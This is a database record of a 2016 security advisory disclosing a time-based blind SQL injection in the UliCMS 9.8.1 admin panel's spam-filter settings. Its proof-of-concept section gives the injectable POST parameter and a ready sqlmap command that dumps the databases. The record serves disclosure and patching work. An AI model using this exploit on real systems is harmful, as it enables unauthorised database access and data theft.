{"id": "PACKETSTORM:135585", "type": "packetstorm", "bulletinFamily": "exploit", "title": "UliCMS 9.8.1 SQL Injection", "description": "", "published": "2016-02-04T00:00:00", "modified": "2016-02-04T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/135585/UliCMS-9.8.1-SQL-Injection.html", "reporter": "Manuel Garcia Cardenas", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:18:09", "viewCount": 0, "enchantments": {"score": {"value": -0.0, "vector": "NONE", "modified": "2016-11-03T10:18:09", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:18:09", "rev": 2}, "vulnersScore": -0.0}, "sourceHref": "https://packetstormsecurity.com/files/download/135585/ulicms981-sql.txt", "sourceData": "`============================================= \nMGC ALERT 2016-001 \n- Original release date: January 26, 2016 \n- Last revised: February 02, 2016 \n- Discovered by: Manuel Garc\u00eda C\u00e1rdenas \n- Severity: 7,1/10 (CVSS Base Score) \n============================================= \n \nI. VULNERABILITY \n------------------------- \nTime-based SQL Injection in Admin panel UliCMS <= v9.8.1 \n \nII. BACKGROUND \n------------------------- \nUliCMS is a modern web content management solution from Germany, that \nattempts to make web content management more easier. \n \nIII. DESCRIPTION \n------------------------- \nThis bug was found using the portal with authentication as administrator. \nTo exploit the vulnerability only is needed use the version 1.0 of the HTTP \nprotocol to interact with the application. \n \nIt is possible to inject SQL code in the variable \"country_blacklist\" on \nthe page \"action=spam_filter\". \n \nIV. PROOF OF CONCEPT \n------------------------- \nThe following URL's and parameters have been confirmed to all suffer from \nTime Based Blind SQL injection. \n \n/ulicms/admin/?action=spam_filter \n \n(POST) \nspamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes \n \nPOC using SQLMap: \n \nsqlmap -u \"http://127.0.0.1/ulicms/admin/?action=spam_filter\" --cookie=\"SET \nCOOKIE HERE\" \n--data=\"spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes\" \n-p \"country_blacklist\" --dbms=\"mysql\" --dbs \n \nV. BUSINESS IMPACT \n------------------------- \nPublic defacement, confidential data leakage, and database server \ncompromise can result from these attacks. Client systems can also be \ntargeted, and complete compromise of these client systems is also possible. \n \nVI. SYSTEMS AFFECTED \n------------------------- \nUliCMS <= v9.8.1 \n \nVII. SOLUTION \n------------------------- \nInstall vendor patch. \n \nVIII. REFERENCES \n------------------------- \nhttp://en.ulicms.de/ \n \nIX. CREDITS \n------------------------- \nThis vulnerability has been discovered and reported \nby Manuel Garc\u00eda C\u00e1rdenas (advidsec (at) gmail (dot) com). \n \nX. REVISION HISTORY \n------------------------- \nJanuary 26, 2016 1: Initial release \nFebruary 02, 2015 2: Revision to send to lists \n \nXI. DISCLOSURE TIMELINE \n------------------------- \nJanuary 26, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas \nJanuary 26, 2016 2: Send to vendor \nJanuary 28, 2016 3: Vendor fix vulnerability \nFebruary 02, 2016 4: Send to the Full-Disclosure lists \n \nXII. LEGAL NOTICES \n------------------------- \nThe information contained within this advisory is supplied \"as-is\" with no \nwarranties or guarantees of fitness of use or otherwise. \n \nXIII. ABOUT \n------------------------- \nManuel Garcia Cardenas \nPentester \n \n \n`\n"}

{}